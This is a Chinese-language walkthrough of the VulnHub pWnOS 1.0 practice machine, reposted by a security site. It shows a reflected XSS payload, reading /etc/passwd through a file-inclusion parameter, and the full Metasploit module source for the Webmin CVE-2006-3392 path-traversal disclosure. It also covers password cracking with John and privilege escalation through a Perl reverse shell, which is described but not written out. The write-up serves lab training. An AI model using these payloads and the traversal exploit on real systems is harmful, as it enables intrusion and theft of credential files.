VulnHubpWnOS:1.0靶机WriteUp

admin 2026-02-06 01:25:39 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详述VulnHub靶机pWnOS1.0的渗透过程。通过Nmap扫描发现80端口XSS及任意文件读取漏洞,利用10000端口Webmin服务CVE-2006-3392漏洞读取敏感文件。随后使用John工具爆破弱口令获取SSH访问权限,最后利用Webminroot权限特性编写Perl反弹Shell成功提权。展示了完整的渗透测试思路与实战技巧。 综合评分: 88 文章分类: 渗透测试,WEB安全,漏洞分析,漏洞POC


cover_image

VulnHub pWnOS: 1.0 靶机 WriteUp

原创

雾島风起時 雾島风起時

星盟安全团队

2026年2月5日 17:10 陕西

加入我们点击下方链接

星盟安全团队纳新计划

项目地址:https://download.vulnhub.com/pwnos/pWnOS_v1.0.zip

是一个打包好的镜像文件

注意:导入 vmx 时一定要选择我已移动,否则没网

使用 Nmap 扫描出开放服务及操作系统版本

nmap -sS -sV -sC -p- 192.168.41.202

XSS

name&level(两个反射)

80 端口发现两个 XSS 漏洞,对应的参数是 name 以及 level

<script>alert(66)</script>

返回提交的页面,两个参数都默认为 true

尝试改为 false 时 connect 报错,错误内容是文件包含函数

通过 AI 查询报错信息得知后端接受参数 connect 参数的值必须得为存在的文件名

任意文件读取

connect

推测存在任意文件读取漏洞

传入参数 /etc/passwd 成功读取文件,但是读取不了 /etc/shadow 文件

访问 10000 端口是个 Web 服务

CVE-2006-3392

对于 10000 端口的服务信息尝试搜索 Kali 本地缓存的历史漏洞,有戏

继续使用更为强大的渗透工具 MSF 搜索漏洞模块进行探测

因为第一个 unix/webapp/webmin_show_cgi_exec 发现使用时必须填入账号名密码,但是我们没有

所以切换为第二个 admin/webmin/file_disclosure 尝试

设置目标后成功读取了 etc/passwd 文件

接下来尝试读取 /etc/shadow

脚本源码解析如下

class&nbsp;MetasploitModule&nbsp;<&nbsp;Msf::Auxiliary&nbsp;&nbsp;include&nbsp;Msf::Exploit::Remote::HttpClient
&nbsp;&nbsp;def&nbsp;initialize(info = {})&nbsp; &nbsp;&nbsp;super(&nbsp; &nbsp; &nbsp; update_info(&nbsp; &nbsp; &nbsp; &nbsp; info,&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'Name'&nbsp;=>&nbsp;'Webmin File Disclosure',&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'Description'&nbsp;=>&nbsp;%q{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; A vulnerability has been reported in Webmin and Usermin, which can be&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; exploited by malicious people to disclose potentially sensitive information.&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; The vulnerability is caused due to an unspecified error within the handling&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; of an URL. This can be exploited to read the contents of any files on the&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; server via a specially crafted URL, without requiring a valid login.&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; The vulnerability has been reported in Webmin (versions prior to 1.290) and&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Usermin (versions prior to 1.220).&nbsp; &nbsp; &nbsp; &nbsp; },&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'Author'&nbsp;=> [&nbsp;'Matteo Cantoni <goony[at]nothink.org>'&nbsp;],&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'License'&nbsp;=>&nbsp;MSF_LICENSE,&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'References'&nbsp;=> [&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ['OSVDB',&nbsp;'26772'],&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ['BID',&nbsp;'18744'],&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ['CVE',&nbsp;'2006-3392'],&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ['US-CERT-VU',&nbsp;'999601'],&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ['URL',&nbsp;'https://web.archive.org/web/20060722192501/http://secunia.com/advisories/20892/'],&nbsp; &nbsp; &nbsp; &nbsp; ],&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'DisclosureDate'&nbsp;=>&nbsp;'2006-06-30',&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'Actions'&nbsp;=> [&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ['Download', {&nbsp;'Description'&nbsp;=>&nbsp;'Download arbitrary file'&nbsp;}]&nbsp; &nbsp; &nbsp; &nbsp; ],&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'DefaultAction'&nbsp;=>&nbsp;'Download',&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'Notes'&nbsp;=> {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'Stability'&nbsp;=> [CRASH_SAFE],&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'SideEffects'&nbsp;=> [IOC_IN_LOGS],&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'Reliability'&nbsp;=> []&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; )&nbsp; &nbsp; )
&nbsp; &nbsp; register_options(&nbsp; &nbsp; &nbsp; [&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Opt::RPORT(10000),&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;OptString.new(&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'RPATH',&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;true,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'The file to download',&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'/etc/passwd'&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ]&nbsp; &nbsp; &nbsp; &nbsp; ),&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;OptString.new(&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'DIR',&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;true,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'Webmin directory path',&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'/unauthenticated'&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ]&nbsp; &nbsp; &nbsp; &nbsp; ),&nbsp; &nbsp; &nbsp; ]&nbsp; &nbsp; )&nbsp;&nbsp;end
&nbsp;&nbsp;def&nbsp;run&nbsp; &nbsp; print_status("Attempting to retrieve&nbsp;#{datastore['RPATH']}...")
&nbsp; &nbsp; dir = normalize_uri(datastore['DIR'])&nbsp; &nbsp; uri =&nbsp;Rex::Text.uri_encode(dir) +&nbsp;'/..%01'&nbsp;*&nbsp;40&nbsp;+&nbsp;Rex::Text.uri_encode(datastore['RPATH'])
&nbsp; &nbsp; res = send_request_raw({&nbsp; &nbsp; &nbsp;&nbsp;'uri'&nbsp;=> uri&nbsp; &nbsp; },&nbsp;10)
&nbsp; &nbsp;&nbsp;if&nbsp;res&nbsp; &nbsp; &nbsp; print_status("The server returned:&nbsp;#{res.code}&nbsp;#{res.message}")&nbsp; &nbsp; &nbsp; print(res.body)&nbsp; &nbsp;&nbsp;else&nbsp; &nbsp; &nbsp; print_status('No response from the server')&nbsp; &nbsp;&nbsp;end&nbsp;&nbsp;endend

深入解析 ..%01

  • .. (点点): 正常的上级目录跳转指令

  • %01 (空字节 / Null Byte): 这是 ASCII 字符 0x01 的 URL 编码形式。

  • 在早期版本的 Webmin 中,这个字符在路径清理阶段(第一步)不会被移除,因为它不是一个常规的路径分隔符

  • 但在最终的文件系统调用之前,Webmin 或底层的系统库可能会将这个不可见的 %01 字符剥离忽略掉,从而只留下一个有效的路径分隔符,如 /

弱口令

SSH 登录

使用工具 john 成功爆破出一个密码

SSH 连接时注意切换加密算法,对方是老版的只支持 RSA

ssh&nbsp;-o HostKeyAlgorithms=+ssh-rsa [email protected]

提权

Webmin 反弹 Shell

预期解

接下来去看有没有别的提权方法,查看 /var 发现 webmin 是以 root 运行

同时网站采用 .cgi  通用网关接口的形式,其是支持 Perl 语言的

所以我们可以编写一个 Perl 的反弹 Shell,只需要找到一个可以写的位置并使用文件包含来调用该文件

输入命令导航到指定目录,该 URL 会触发服务器上的 CGI 脚本,从而触发权限提升(参考上面)


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:星盟安全团队 雾島风起時 雾島风起時《VulnHub pWnOS: 1.0 靶机 WriteUp》

评论:0   参与:  0